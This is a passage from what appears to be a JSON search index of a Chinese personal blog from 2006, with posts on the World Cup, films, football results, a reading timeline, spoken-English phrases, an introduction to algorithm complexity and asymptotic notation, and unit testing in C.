当时世界足坛之顶级防守球员，正所谓万事俱备，只欠东风了。当时的我正在读大二，个人时间相对充足，又逢世界杯在东亚举行，天赐良机，怎能放过，起码阿根廷队的比赛我必将不能漏掉。第一场阿根廷对尼日利亚，整个过程让人提心吊胆，但最终还是凭借巴蒂斯图塔一记刁钻的头球1:0战胜了尼日利亚队。第二场阿根廷死磕老对手英格兰队，看过那场比赛的人一定都很郁闷，阿根廷队正常比赛都保持对英格兰的狂轰滥炸，结果却被贝克汉姆和欧文配合制造的点球所击败，当时我们班所有人没有不骂英格兰人的，’踢得真TMD不象男人，都不敢出来，真没劲’，不过骂归骂，比赛还是输了。最后一场阿根廷背水一战，对手瑞典也不示弱，在最后关头，阿根廷人的意志终于垮了，没能逃脱世界杯之魔咒的摆布，和阿根廷队同命运的还有另外一个热门，上届冠军法国队。赛后巴蒂斯图塔的眼泪让人真是不忍心看，老天也许对他太不公平了。阿根廷离开后，剩余的比赛在我看来索然无味，已经降入二流的德国人居然闯入决赛，多亏同样让人不看好的巴西人跟了德国人迎头一击。巴西人笑到了最后。在这届世界杯上东亚球队的表现让人刮目相看，特别是东道主韩国队，我想谁也没想到这支球队最终能获得第四名的好成绩，不过韩国人斩葡萄牙、溃意大利的两战还是值得我们从中学习的，从心底还是称赞之的。\n转眼间，06世界杯即将开幕，巴蒂已于2005年退役，到目前我还没找到像巴蒂那样令我倾迷的足球偶像。但目前小罗的球风让我日趋喜欢，快乐足球在其身上’愈演愈烈’，目前的巴西队就如2002年的那支阿根廷队一样前场攻击力让人叹为观止，不过巴西人能不能摆脱’赛前大热，赛时大败’的魔咒呢，让我们拭目以待吧。\n令附喜爱巴蒂的原因：旷野豪放的球风，进球如秋风扫落叶般疾速，给人无穷的快感，让我有一种射门得分的冲动，我在球队也是前锋出身，典型中锋^_^。但目前已是廉颇老矣了^_^。\n","permalink":"https://tonybai.com/2006/05/29/share-my-worldcup-experience/","summary":"\u003cp\u003e还有整整十天，2006德国世界杯的大幕就将拉开了。自己观看世界杯的历史应追溯到我上高二时，也就是1998年法国世界杯。我在初中的时候只知道翻弄书本学习，很少参加体育运动，到了高中后渐渐地性格开朗起来，开始和班级的同学们踢足球，时间长了居然上了瘾，球技也突飞猛进，因个人头球’出类拔萃’，遂被同学们戏称我们班的’金头’。我问其中一个同学：’金头’是谁的外号？他告诉我是德国著名前锋比埃尔霍夫，我心中疑惑，比埃尔霍夫是个什么样的人物呢，我不得而知。之后，除了踢球我也逐渐开始看足球报道，诸如’球报’、’体坛周报’等等，时间长了，那些球星的名字和经历也就烂熟于胸了，但是我不喜欢比埃尔霍夫，因为我不喜欢德国足球，相反位于南美的足球强国阿根廷却强烈的吸引着我，特别是我至今唯一的足球偶像-战神’巴蒂斯图塔’，爱屋及乌，这位球风狂野的南美前锋，让我对阿根廷队更加喜爱，并且对阿根廷队寄予了厚望。\u003c/p\u003e","title":"我与世界杯-写在世界杯开幕前"},{"content":"这一周的工作任务是在现网进行性能测试，不过由于各种原因测试迟迟不能开始，每天因为这些零碎的问题让我’焦头烂额’，甚至不能集中一段较长的时间做些想做的事情，整个一周都缺少’成就感’，这样让我每天下班回去后的心情都是很郁闷，没有心情看书，就开始做一些’堕落’的事情 – 看漫画、看动画片、看电影。\n我喜欢看灾难片、科幻片，这些片子都是可以激发想象力的。PPLIVE是一个很不错的网络电视软件，速度很快，这几天那上的’经典灾难片联播’频道已经让我看了个遍，’后天’、’活火熔城’、’恐怖地带’、’史前大章鱼’、’狂蟒之灾I’、’狂蟒之灾II搜寻血兰’、’龙卷风’、’超级火山-真正的末日’，我自己都不相信这周看了这么多片子。\n除了过足’电影’瘾之外，动漫台的’七龙珠’连放，又让我重温了经典的’赛亚人的故事’，特别是看到了以前没看过的’悟空VS.贝吉塔’、’悟空 VS. 弗里萨’之战，特别是后者悟空变成’超级赛亚人’是整部七龙珠之最大亮点。在看动画片的同时，自己的漫画瘾也上来了，遂重温了一下’七龙珠’漫画，当然重温的速度还是比较快的。\n‘堕落’的一周就要过去了，周末出去玩一玩、散散心。\n","permalink":"https://tonybai.com/2006/05/26/fall-backward-this-week/","summary":"\u003cp\u003e这一周的工作任务是在现网进行性能测试，不过由于各种原因测试迟迟不能开始，每天因为这些零碎的问题让我’焦头烂额’，甚至不能集中一段较长的时间做些想做的事情，整个一周都缺少’成就感’，这样让我每天下班回去后的心情都是很郁闷，没有心情看书，就开始做一些’堕落’的事情 – 看漫画、看动画片、看电影。\u003c/p\u003e","title":"'堕落'的一周"},{"content":"在我的评论栏中有人说：\u0026ldquo;你是程序员?\u0026quot;，我可以确定、一定以及肯定地告诉他/她：\u0026lsquo;我就是一个程序员，如假包换\u0026rsquo;。也许是最近技术类的blog写得少了，其他类的多写了些，让人家误会了，这也无可厚非。不过我倒是想到这样一个问题：程序员一定要满篇地谈技术么，程序员也有自己丰富多彩的生活呀。好了，切入正题。今天我们谈谈算法时间复杂性的分析。我没系统学过，都是在书上看到的以及MIT算法导论课上听到的。这里仅从我的理解的角度写一些罢了，不是很严谨哟。^_^\n啥也别说，先看一段算法程序吧。这段代码以前在blog中出现过(摘自MIT Press算法导论2nd)，不过那时它是用来阐述\u0026rsquo;Pseudocode Conventions\u0026lsquo;的。\nInsertion-Sort(A) △ A[1..n]\nfor j \u0026lt;- 2 to length[A]\ndo key \u0026lt;- A[j]\n△ Insert A[j] into the sorted sequence A[1..j-1].\ni \u0026lt;- j-1\nwhile i \u0026gt; 0 and A[i] \u0026gt; key\ndo A[i+1] \u0026lt;- A[i]\ni \u0026lt;- i-1\nA[i+1] \u0026lt;- key\n假设我们目前没有学过什么算法复杂性分析之类的知识，如果让你去计算这个算法的运行时间的话，你会怎么做呢？最简单、最直观的方法就是把每条语句的执行时间累加在一起。对于上面这个简单的算法，我们\u0026rsquo;掰手指头\u0026rsquo;还是可以计算的。不过我们必须在计算前有个约定，什么约定呢，就是事先约定好一些\u0026rsquo;basic operation\u0026rsquo;的执行时间。我们定义一个\u0026rsquo;单位时间(UC, Unit Cost)\u0026lsquo;的概念，所有的语句的执行时间均为该\u0026rsquo;单位时间\u0026rsquo;的整数倍。那么这样我们可以约定并得出：\n1、赋值操作、比较操作、算术运算、逻辑运算、访问(读写)单个常量或单个变量(包括一个数组的单个分量或一个记录的单个域)的时间为1 UC；\n2、对于条件语句(if condition then …)和\u0026rsquo;switch condition case 1…n\u0026rsquo;语句来说，它们的执行时间为\u0026rsquo;计算condition值的时间\u0026rsquo; + \u0026lsquo;最耗时分支语句的执行时间\u0026rsquo;，即T(condition) + max(Tcase1, Tcase2, … Tcasen)；\n3、对于for…loop语句，其执行时间显而易见为：\u0026lsquo;执行循环体的时间 x 循环次数\u0026rsquo;，一般来说这个循环次数都是显式可知的；\n4、对于do … while之类的循环语句，其执行时间类似于for … loop，为：\u0026lsquo;执行循环体的时间 x 循环次数\u0026rsquo;，但其循环次数是处于隐含状态的；\n5、对于goto语句，如果结构合理，无滥用goto的情况(如将控制权转移到goto前面的语句)，其运行时间忽略不计；\n6、对于函数或者是过程调用，它们需要的时间包括两部分，一部分用于实现控制转移，另一部分用于执行过程(或函数)本身，这时可以根据过程(或函数)调用的层次，由里向外运用规则(l)-(6)进行分析，一层一层地剥，直到计算出最外层的运行时间便是所求。\nOK，知道了\u0026rsquo;时间约定\u0026rsquo;，我们就来算算这个算法程序需要花费我们多长时间呢。\nfor j \u0026raquo; (n – 2 + 1) x 1 = n – 1；\nkey \u0026raquo; (n – 2 + 1) x 1 = n – 1；\ni \u0026raquo; (n – 2 + 1) x 1 = n – 1；\nwhile i \u0026gt; 0 and A[i] \u0026gt; key —\u0026raquo;\u0026gt; 由于while循环的\u0026rsquo;隐式执行次数\u0026rsquo;，这里我们设该语句执行了Tj次，那么该条语句需要 (1 + 1 + 1) x Tj = 3 x Tj；\ndo A[i+1] \u0026raquo; (Tj – 1) x 1 = Tj – 1；\ni \u0026raquo; (Tj – 1) x 1 = Tj – 1；\nA[i+1] \u0026raquo; (n – 2 + 1) x 1 = n – 1；\n我们来作和: Total_Running_Time = 4 x (n – 1) + Sum(3 x Tj) + 2 x Sum(Tj -1) = 4 x n – 4 + 3 x Sum(Tj) + 2 x Sum(Tj – 1); j belongs to [2,n]。这里唯一的未知量就是Tj，如何确定Tj呢？考虑两种极端的情况：\n1、输入数字串是已经排好序的(already sorted) — Best Case\n这里while i \u0026gt; 0 and A[i] \u0026gt; key语句只需执行一次，Tj = 1，这样我们可以得出：Total_Running_Time = 7 x (n – 1)，即n的线性函数；\n2、输入数字串是逆序的(reverse sorted) — Worst Case\n此时A[i]要与A[1..j-1]的每一个元素比较，所以Tj = j – 1，这样我们可以得出：Total_Running_Time = 5/2 x (n^2 – n)；\n奇怪我们算出了两种不同的结果，到底采用那个呢？相信从直觉出发，大家也都会选择\u0026rsquo;Worst Case\u0026rsquo;，\u0026lsquo;Worst Case\u0026rsquo;给了我们一种保证(guarantee)：针对某种规模的输入n，该算法能保证其时间复杂性不超过某个上界限(upper bound)。而\u0026rsquo;Best Case\u0026rsquo;大多是个\u0026rsquo;Cheating\u0026rsquo;，毫无意义的(meaningless)。在大多数算法领域我们使用的也是\u0026rsquo;Worst Case\u0026rsquo;分析，还有一种分析方式叫\u0026rsquo;Average Case\u0026rsquo;分析，就拿上面的\u0026rsquo;INSERTION-SORT\u0026rsquo;而言，如何计算其\u0026rsquo;Average Case\u0026rsquo;的时间复杂性呢？\u0026lsquo;Average Case\u0026rsquo;一般依赖一个前提假设，而这个假设都符合一定的\u0026rsquo;Probability distribution\u0026rsquo;，这里我们可以假定Tj = j/2，也就是说已经sorted的数字串中一半的值 \u0026gt; key，另一半 \u0026lt; key；这样计算出来的Total_Running_Time也是n^2一级的。\nOk，那么是不是针对每个算法都需要精确计算出其时间复杂性结果呢？我想不必要，在我们平时的工作中，多数时间是在选择算法，当然从事算法设计的专业人员除外，而选择算法的时候，我们大致只需要知道这个算法的一个时间上限即可，再根据特定的问题模型选择适当的算法。如何找到一个算法的时间复杂性上界是我们面临的问题。像INSERTINO-SORT这样的简单算法我们还可以处理，但随着问题规模的扩大，结构越来越复杂，算法分析的工作量之大、步骤之繁将令人难以承受，人们遂引入了\u0026rsquo;渐近性分析\u0026rsquo;方法，其主旨就是简化算法分析的工作量。看上面我们得到的INSERTION-SORT的\u0026rsquo;Worst Case\u0026rsquo;的结果：5/2 x (n^2 – n)，这个结果中既包含n^2又包含n^1，对于这个简单的公式我们还是可以分析的，但是对于复杂的算法，可能存在这样的计算结果：n的诸多高次幂多项式，这样的多项式分析起来较为复杂，而渐近性恰是简化这样问题的好方法。\n什么是渐近性？用数学语言表述就是：对于f(n)，如果存在g(n)，使得当n \u0026gt; 0, n -\u0026gt; ∞时有：(f(n) – g(n)) / f(n) -\u0026gt; 0，则g(n) 称为 f(n)的渐近表达式。用工程上的方法表述就是：g(n)是f(n)中略去低阶项(包括常数项)所留下的最高阶项，所以它无疑比f(n)来得简单。有了渐近表达式，寻找算法时间复杂性的界限就相对容易了。以后比较两个算法，就只需要比较两个算法的渐近表达式了，这样极大的简化了工作量。\n我们定义了几种常用的渐近性符号用来对算法进行渐近性分析：\n1、O符号\n常用来分析算法复杂性上限(upper bound)，其定义为：O(g(n)) = {对f(n)，n为正整数，存在正整数常量C和N，使得0 \u0026lt;= f(n) = N}，可以看出O(g(n))是一个集合，为了表示T(n)是该集合内的一个成员，我们将之表示为：T(n) = O(g(n))。\n2、θ符号\n常用来给出算法复杂性的上下限(lower bound and upper bound)，其定义为：θ(g(n)) = {对f(n)，n为正整数，存在正整数常量C1、C2和N，使得0 \u0026lt;= C1g(n) \u0026lt;= f(n) = N}，可以看出O(g(n))也是一个集合，为了表示T(n)是该集合内的一个成员，我们将之表示为：T(n) = θ(g(n))。由于给出了上下限，所以θ符号集合为O符号集合的子集。\n3、Ω符号\n常用来分析算法复杂性的下限(lower bound)，不常用。其定义为：Ω(g(n)) = {对f(n)，n为正整数，存在正整数常量C和N，使得0 \u0026lt;= Cg(n) = N}，可以看出O(g(n))是一个集合，为了表示T(n)是该集合内的一个成员，我们将之表示为：T(n) = Ω(g(n))。\n有了这些符号我们再来看看如何理解带有渐近性符号的一些等式:\n[例1] 渐近性符号仅仅用在等式右边\n如：2n^2 + 6n + 1 = 2n^2 + θ(n)，这里我们可以将该等式看成2n^2 + 6n + 1 = 2n^2 + a(n)，这里a(n)是一个匿名函数，并且a(n)是θ(n)集合中的一个函数。\n[例2] 渐近性符号出现在等式两边\n如：2n^2 + θ(n) = θ(n^2)，按照[例1]中匿名函数的方法，我们可以得到: 2n^2 + a1(n) = a2(n)，其中a1(n)属于θ(n)集合，a2(n)属于θ(n^2)集合。这个等式需要这样理解\u0026quot;无论等式左边的匿名函数a1(n)取任何函数，等式右边的总存在一个匿名函数a2(n)使等式相等\u0026rdquo;。\n以上是渐近性分析的一些基本知识，但是在实践中还是需要技巧的，实践证明在渐近性分析存在大量的递归函数，要想真正掌握复杂算法的渐近性分析，解决递归问题必不可少，不过这是以后的内容了。\n","permalink":"https://tonybai.com/2006/05/23/the-base-of-algorithm-complexity-asymptotic-analysis/","summary":"\u003cp\u003e在我的评论栏中有人说：\u0026ldquo;你是程序员?\u0026quot;，我可以确定、一定以及肯定地告诉他/她：\u0026lsquo;我就是一个程序员，如假包换\u0026rsquo;。也许是最近技术类的blog写得少了，其他类的多写了些，让人家误会了，这也无可厚非。不过我倒是想到这样一个问题：程序员一定要满篇地谈技术么，程序员也有自己丰富多彩的生活呀。好了，切入正题。今天我们谈谈算法时间复杂性的分析。我没系统学过，都是在书上看到的以及\u003ca href=\"http://www.core.org.cn/OcwWeb/Electrical-Engineering-and-Computer-Science/6-046JIntroduction-to-\"\u003eMIT算法导论课\u003c/a\u003e上听到的。这里仅从我的理解的角度写一些罢了，不是很严谨哟。^_^\u003c/p\u003e","title":"算法时间复杂性之渐近法分析基础"},{"content":"好多天没有更新blog了。其实人的大脑就好比一台复杂的机器，每天24小时不停的工作着，某一局部负责对应的工作，如果大脑的一直将压力都压在这个部分上，那么这个部分就会’过载’、’发热’，导致今后几天工作效率下降。拿我们程序员来说，如果不能适当的调节一下自己大脑的工作部位，一段时间后就会思维枯竭而且感到很是疲劳，这几天我就处于这样的状态，其实有很多工作需要去做、很多技术书籍等待我去读，可是我的大脑告诉我，该歇歇了。的确，这种感觉让自己无心无力去继续做了，那就换种生活–’娱乐’，具体点看电影，让大脑切换到’形象思维’当中去。\n大脑需要适当切换休息，我们赖以生存的家园-地球又何尝不是呢。’核震过后’这部灾难片给我们讲述的或者说告诫人类的就是这个道理。在这之前，我从未听说过’核震过后’这部片子，记得最近看的一部灾难片叫’The Day After Tomorrow’，挺壮观和震撼的。而’核震过后’给人们带来的思考我想不亚于’后天’。这是一部关于’北美洲大陆板块’剧烈变动引发连锁超级大地震的故事，当然之所以这块板块发生动荡，也是人类过渡破坏环境所致，过度开采地下水、采煤、采油，建造摩天大楼，挖掘隧道，炸山取石等等。该片代表性人物较多，导演意图通过对不同阶层人们在灭顶之灾面前所表现出来的行为的描述来展开该片，上至总统、州长、科学家下至普通医生的一家人，既展现了这些人作为普通人的恐惧，又展现了这些人在各自的岗位上团结一心、各负其责的精神，同时也告诫人们在大自然无穷力量面前，人类是那么的无助。\n影片在场面制作拍摄上也称得上’波澜壮阔’了，由于该片早’后天’几年，所以一些技术手段可能还不如’后天’，不过其制作的真实还原的程度还是蛮高的，让人看到高潮的时候有一种’身临其境’的感觉。影片在背景音乐上也是下足了功夫，特别是在’最后一次改变南加州地貌的10.8级的大地震发生时，人们奔走逃离时的那个音乐，强烈的表现了’人类在大自然面前的渺小与无力’，黑白镜头和彩色镜头的交替，让人们的心灵震撼随着色彩的变化而变化，直至高峰。\n当南加州陷入一片汪洋中的时候，当大地震消逝的时候，幸存的人们都驻足观望，相信此时此刻坐在电影前的观众的心灵也在’驻足’，反思着过去的一切一切，思考着’为什么’。我想这恰恰是导演所要达到的效果。建议有机会看看这部电影，片子较长，看得过瘾！^_^\n","permalink":"https://tonybai.com/2006/05/23/recommend-file-after-10-earthquake/","summary":"\u003cp\u003e好多天没有更新blog了。其实人的大脑就好比一台复杂的机器，每天24小时不停的工作着，某一局部负责对应的工作，如果大脑的一直将压力都压在这个部分上，那么这个部分就会’过载’、’发热’，导致今后几天工作效率下降。拿我们程序员来说，如果不能适当的调节一下自己大脑的工作部位，一段时间后就会思维枯竭而且感到很是疲劳，这几天我就处于这样的状态，其实有很多工作需要去做、很多技术书籍等待我去读，可是我的大脑告诉我，该歇歇了。的确，这种感觉让自己无心无力去继续做了，那就换种生活–’娱乐’，具体点看电影，让大脑切换到’形象思维’当中去。\u003c/p\u003e","title":"推荐看看'核震过后'"},{"content":"相信昨天的夜晚是一个难得的足球\u0026rsquo;盛宴\u0026rsquo;，大连实德vs. 全北现代、准国奥vs.阿根廷、巴萨vs.阿森纳一个接一个让球迷们合不上眼，对于中国球迷来说，前面两场比赛自然是责无旁贷，相信很多球迷都像我一样，站在电视机前为我们自己的球队加油助威，但结果却是有喜有悲；巴萨vs.阿森纳这场2006欧冠决赛则不仅仅吸引着国内球迷的目光了，世界各个角落的球迷相信都欣赏到了一场高水平的经典决赛。下面逐一说说看完这些比赛后的感受。\n大连实德，悲情逆转\n\u0026lsquo;打平即可出线\u0026rsquo;这条魔咒不知道让多少只国字号球队和俱乐部球队黯然而归，大连实德这一国内联赛战绩最好的、同时也是中国在亚洲比赛中战绩最好的俱乐部也难以挣脱这一\u0026rsquo;魔咒\u0026rsquo;。当我打开电视机的时候，已经是下半场20多分钟了，当时的比分为1:1，显然这样的比分是实德能够接受的，而这时场上的实德队员虽然仍有斗志，尽力拚抢，当是已经明显显出疲态，不由的让我想起2002世界杯，韩国vs. 意大利的那场比赛，意大利被韩国人的体能拖垮。当然大连实德不能比\u0026rsquo;意大利国字号球队\u0026rsquo;，全北现代也不是\u0026rsquo;韩国队\u0026rsquo;，但是后者却具备韩国球队一贯的作风，硬朗+体能充沛。当大连实德的后卫已经无力追赶对方的进攻球员时，已经预示到大连危险了。果不其然，短短几分钟内被连灌2球，大连实德就这样再一次功败垂成。赛后，有人说是\u0026rsquo;疲惫\u0026rsquo;葬送了大连实德，也有人说是\u0026rsquo;福拉多\u0026rsquo;指挥有误，但是对于球迷来讲，输了就是输了，技不如人怎么办，大丈夫\u0026rsquo;留得青山在，不怕没柴烧\u0026rsquo;，大不了从头再来，希望大连实德挺起胸膛，打好联赛，争取明年\u0026rsquo;雪耻\u0026rsquo;。\n意义重大，小胜阿根廷\n这届85+87组合的准国奥，再一次给了国人一次惊喜。在法国的土伦杯小组赛上，1:0小胜阿根廷队。改写了中国国字号球队在正式比赛上对阵阿根廷不胜的历史。我看了昨天的比赛，绝对不能说是我们\u0026rsquo;爆冷门\u0026rsquo;胜阿根廷队，场上的中国队一直是占据上风的，所以胜利也是理所当然的。感觉阿根廷人很不适应中国队员凶狠的围逼抢，失误增多，技术特长没有发挥出来。反观这届准国奥则是斗志昂扬，虽然在技术上处于劣势，但是战术对头，充分利用自己的身体和速度优势，一次次突破对方的防线，最后由队长陈涛一箭封喉。中国队的优异表现让本来处于观望中的特鲁西埃也有些坐不住了，昨天特鲁西埃召开了新闻发布会，表示愿意执教08国奥。相信特鲁西埃也是看到了这批青年人的潜力才作出这种决定的。国内的球迷自然高兴，大家都希望这批球员能给中国足球长长志气，为中国足球的崛起开个好头。\n众望所归，巴萨夺冠\n记得在我几个月前的一篇blog\u0026rsquo;今年欧冠甚好看\u0026lsquo;中，就预测和希望巴萨夺冠，昨夜今晨，这个预测变成了现实，巴萨如愿捧得了今年的欧洲冠军杯。在新浪网20年欧足坛第一王者之师的投票中，这届2006巴萨目前也排在'1989-1995AC米兰\u0026rsquo;之后位列次席。相信如果在今后的一两年内巴萨仍能保持如此状态和战绩，它在球迷中的地位势必还会提高。在巴萨的夺冠历程中，小罗是最大功臣。总感觉是小罗让巴萨有了脱胎换骨的变化，并一举造就了一个新的\u0026rsquo;巴萨时代\u0026rsquo;的到来。随着欧冠的结束，欧洲赛事基本结束，还有半个多月，万众期待的2006世界杯将至，我甚是期望那时的小罗也能像这次带领巴萨一样，带领巴西队蝉联世界杯，如果真的是这样，那么今年就堪比完美了。\n期待世界杯，期待小罗的完美表演。\n","permalink":"https://tonybai.com/2006/05/18/barca-win-champion-league/","summary":"\u003cp\u003e相信昨天的夜晚是一个难得的足球\u0026rsquo;盛宴\u0026rsquo;，大连实德vs. 全北现代、准国奥vs.阿根廷、巴萨vs.阿森纳一个接一个让球迷们合不上眼，对于中国球迷来说，前面两场比赛自然是责无旁贷，相信很多球迷都像我一样，站在电视机前为我们自己的球队加油助威，但结果却是有喜有悲；巴萨vs.阿森纳这场2006欧冠决赛则不仅仅吸引着国内球迷的目光了，世界各个角落的球迷相信都欣赏到了一场高水平的经典决赛。下面逐一说说看完这些比赛后的感受。\u003c/p\u003e","title":"国奥改历史，巴萨夺欧冠"},{"content":"在’Blog on 27th Floor‘的blog上看到一篇名为’读书人的timeline‘的文章，文章中列出了各个年龄段读的书，我也觉得这是一个很有意思的话题，不妨也回顾一下自己这20几年曾经读过的书，模仿这种TimeLine格式列出来大家瞧瞧^_^。\n我首先声明自己不是一个博览群书的人，但是我喜欢读书。这里的’书’指的是非专业类的书籍。小的时候是读书没有什么方向，长大了各种应试教育的功课压在身上，无暇读书；大学后则偏向专业书籍；工作后有了’博览群书的计划‘，但又迫于工作压力，进度并不明显，呵呵。\n列出我的各个年龄段读过的书：\n0 – 3岁 看图识字、听姥姥讲’一个屁咯嘣嘣，两个屁列个缝，三个屁连根拔’的故事(这应该是一个南方的故事，具体的情节我已经记不清了，但是这个故事的名字我却印象深刻)、听妈妈说汉字。\n4 – 6岁 看小人书：三国演义、霍元甲…；看童话故事：’阿里巴巴与四十大盗’、’小红帽’、’海的女儿’、’胡桃夹子’；看好孩子画报：最喜欢小猪呼噜噜；看十万个为什么(虽然不是很懂)；看动画书：黑猫警长、哪吒闹海、大闹天宫、超人…。\n7 – 12岁(小学) 继续看’十万个为什么’(终于懂得一些道理)、看期刊：少年科学画报、新少年(在校生必须订阅的)；看漫画：圣斗士星矢、机器猫; 看电视剧书：恐龙特急克塞号、变形金刚、百变雄狮。\n13 – 15岁(初中) 学业繁重，以漫画：七龙珠为主要精神食粮，辅助幽游白书、乱马1/2。\n16 – 18岁(高中) 开始接触大部头小说，包括中国古典名著、武侠小说和一些当代著名小说(似乎有点晚^_^)。当代小说：’平凡的世界’、’东方’；武侠小说：以金庸系列的为主：倚天屠龙记、天龙八部、神雕侠侣、笑傲江湖；古典名著：红楼梦(没怎么读懂)、西游记(没读全)、水浒传；名人出书：岁月随想(赵忠祥)。\n19 – 22岁(大学) 看专业的书籍较多，不时地也看非专业的书籍以作消遣。看漫画：棋魂(大学里唯一看得上瘾的漫画)；小说：海岩作品 ‘永不名目’、’玉观音’；科普读物：时间简史；网络小说：第一次亲密接触；外国小说：挪威的森林\n22 – 至今(工作) 除了晚上和周末，就没什么自由支配时间，专业书籍占了大部分读书时间。其余时间看包括小说：达芬奇密码，哈利波特1-6，亮剑，深牢大狱(海岩)，高效能人士的七种习惯，准备决定一切等。自己制定了今后的读书计划，只不过进度缓慢^_^。\n","permalink":"https://tonybai.com/2006/05/18/timeline-of-reading-books/","summary":"\u003cp\u003e在’\u003ca href=\"http://blog.cathayan.org/blog/1\"\u003eBlog on 27th Floor\u003c/a\u003e‘的blog上看到一篇名为’\u003ca href=\"http://blog.cathayan.org/item/1301\"\u003e读书人的timeline\u003c/a\u003e‘的文章，文章中列出了各个年龄段读的书，我也觉得这是一个很有意思的话题，不妨也回顾一下自己这20几年曾经读过的书，模仿这种TimeLine格式列出来大家瞧瞧^_^。\u003c/p\u003e\n\u003cp\u003e我首先声明自己不是一个博览群书的人，但是我喜欢读书。这里的’书’指的是非专业类的书籍。小的时候是读书没有什么方向，长大了各种应试教育的功课压在身上，无暇读书；大学后则偏向专业书籍；工作后有了’\u003ca href=\"http://www.douban.com/wish/tony_bai/book/\"\u003e博览群书的计划\u003c/a\u003e‘，但又迫于工作压力，进度并不明显，呵呵。\u003c/p\u003e","title":"我读书的TIMELINE"},{"content":"像道谢、赔礼道歉、赞扬这些内心表白的情形在我们的日常生活中还是很多见的，如你的Partner作了一件令你很满意的事情，你就可以跟他说:’Good job!’ or ‘Well done!’，可以说这些用法都是很实用的。下面就是’口语8000句’中关于’内心表白’的一些句子。\n[道谢]\nThank you.\nThanks.\nThank you very much.\nMuch appreciated. Thank you.\nThanks for your kindness.\nI appreciate your kindness.\nI cannot thank you enough.\nI can hardly thank you enough for your kindness.\nYou’ve been very helpful.\nThank you for the help.\nThanks for your time.\nThanks for everything.\nThank you anyway.\nHow nice!\nI owe you one. 我欠你情\nThanks a lot for your present.\nThanks for saying so.\nThanks for telling me.\nThanks for waiting for me.\nThanks for asking me out.\nThanks for cheering me up.\nYou saved my life!\nThanks for warning me.\nThanks for coming all the way over here.\nThanks for your letter. It was very kind of you.\n[还礼]\nYou are welcome.\nDon’t mention it.\nI’m glad I could help.\n[道歉]\nI’m sorry.\nWhoops, excuse me. 啊, 对不起\nI’m awfully sorry.\nI’m sorry about that.\nIt is my fault.\nWhoops, my mistake.\nI feel bad about it.\nI’m sorry I could not come.\nI’m sorry about the other day.\nPlease forgive my rudeness.\nI don’t know how to apologize to you.\nI didn’t mean that.\nI’m sorry to trouble you.\nI’m really sorry for troubling you.\nI’m sorry to have kept you waiting.\nI wish I could…\n[对道歉的回答]\nThat’s all right.\nPlease be more careful next time.\n[关心对方]\nLet me get your coat for you.\nMake yourself at home.\nDo you have a minute?\nCan I talk to you for a minute?\nAfter you! 你先请\nCan I give you a hand?\nI’ll accept your offer/suggestion.\nSorry to interrupt you.\nSorry for the short notice. 临时紧急通知\n[表扬]\nGreat!\nJohn is incredible!\nGood job!\nWay to go! 好样的!\nWell done!\nCongratulations!\nYou were great!\nGood for you!\nGood boy!\nWhat a nice dress!\nI like your shirt!\nThat is a great tie!\nYou have a nice car.\nWhere did you buy it?\nI bought it at the K store.\nIt was on sale.\nYou look nice/great.\nIt looks nice on you.\nAll the credit goes to you. 都归功于你\nBrilliant!\nWhat a man! 真是个男子汉\nYou have a cute son!\nYou look young for your age.\nI appreciate your effort very much.\nI envy you.\nHe thinks highly of you.\nI need a boss I can look up to.\nHe’s got guts. = he is brave.\n[New Words To Me]\ncheer sb up — encourage sb\nall the way — the whole way, 远道而…\nthe other day — a few days before today. 前几天\nincredible — unbelievable, beyond belief or understanding, 难以置信\non sale — be sold in a lower price.\nlook up to — feel admiration for.\n","permalink":"https://tonybai.com/2006/05/16/spoken-english-note-series-express-yourself/","summary":"\u003cp\u003e像道谢、赔礼道歉、赞扬这些内心表白的情形在我们的日常生活中还是很多见的，如你的Partner作了一件令你很满意的事情，你就可以跟他说:’Good job!’ or ‘Well done!’，可以说这些用法都是很实用的。下面就是’口语8000句’中关于’内心表白’的一些句子。\u003c/p\u003e","title":"口语学习笔记之'内心表白'"},{"content":"又是老生常谈-\u0026lsquo;单元测试\u0026rsquo;，说实话自己在单元测试上是\u0026rsquo;语言上的巨人，行动上的矮子\u0026rsquo;，属于那种说的比做的多的人^_^。不过也不能说什么也没做。记得去年年末的时候自己还设计并实现过一个简单的\u0026rsquo;C语言单元测试包\u0026lsquo;呢^_^，至今这个包仍然还在使用呢。不过大多数的单元测试都不像想象中那样简单，我们在介绍单元测试的时候，大多拿Add、Sub等作例子，这样当然有好处，简单易懂。其实学习单元测试初期关键是学习单元测试的思想，所以这些Add、Sub也能满足需求。不过在真正的项目中，单元测试大多做起来较为困难，我是在Unix上做C开发的，Java的咱暂先不提，也没什么资格提，虽然曾经花过一段时间专心研究过，还写过些Java学习心得，但是毕竟没做过实际的项目，说起来心里也发虚。\n曾经很长一段时间，自己在编码阶段基本上都是缺少单元测试的，一是项目中Legacy代码较多，耦合太紧，想把那部分代码拿出来比\u0026rsquo;登天还难\u0026rsquo;(有点夸张)，反正基本上是\u0026rsquo;一扯一大帮\u0026rsquo;，俗称\u0026rsquo;一个都不能少\u0026rsquo;；而是部门在这方面积淀较少，在计划的时候对这方面考虑不够，时间上也不充裕，经常是在集成测试或者系统测试的时候顺便带上单元测试了，这样的后果就是\u0026rsquo;浪费\u0026rsquo;。本来在单元测试阶段发现一个Bug需要10 minutes，拖到集成测试或者系统测试后，这个时间就可能是1 hour或者 1 day 或者更多时间，这里可不是\u0026rsquo;耸人听闻\u0026rsquo;，的确有真实的事例，有过这样的经历的人都体会到其中的痛苦。\n痛定思痛，自己终于觉醒了。恰好，一个新的短期项目刚刚处于开发阶段，正好是发挥单元测试的大好时机。杀开一条血路，做就是了。但是不能盲目去做。单元测试是需要设计的，而且感觉单元测试设计因系统架构模式而异，有难有易；而且单元测试设计时需要考虑项目进度、测粒度和测试密度。测试粒度，也就是说你选择多大的功能单元来作为单元测试的基本单元，是函数一级的还是模块一级的；测试密度，则是你的单元测试用例的语句覆盖度有多少了。完美的单元测试是应该覆盖程序运行的每条分支的，但是要编写出这么多的单元测试用例，其工作量我想比开发这个系统的工作量只多不少，这样一来即使你能编写出这么多用例的代码，你的Leader也会对你吼的。选择关键路径覆盖是我的选择测试密度的\u0026rsquo;标准\u0026rsquo;。我们的系统的架构是基于\u0026rsquo;队列/管道架构模式\u0026rsquo;的，这也决定了我们的单元测试较容易，根据这个特点我选择我的单元测试的力度是模块一级的。基本策略就是根据模块内的关键路径设计模块级别的单元测试用例–对我们这个系统来说具体就是造各种各样的消息，放到输入队列中即可。\n我的单元测试已经进行了两天多了，效果很是明显，有些bug的发现都出乎我的意料。每当测试完一个功能模块，我会感觉对这个模块更有信心了，还有一种莫名的成就感^_^。\n好的单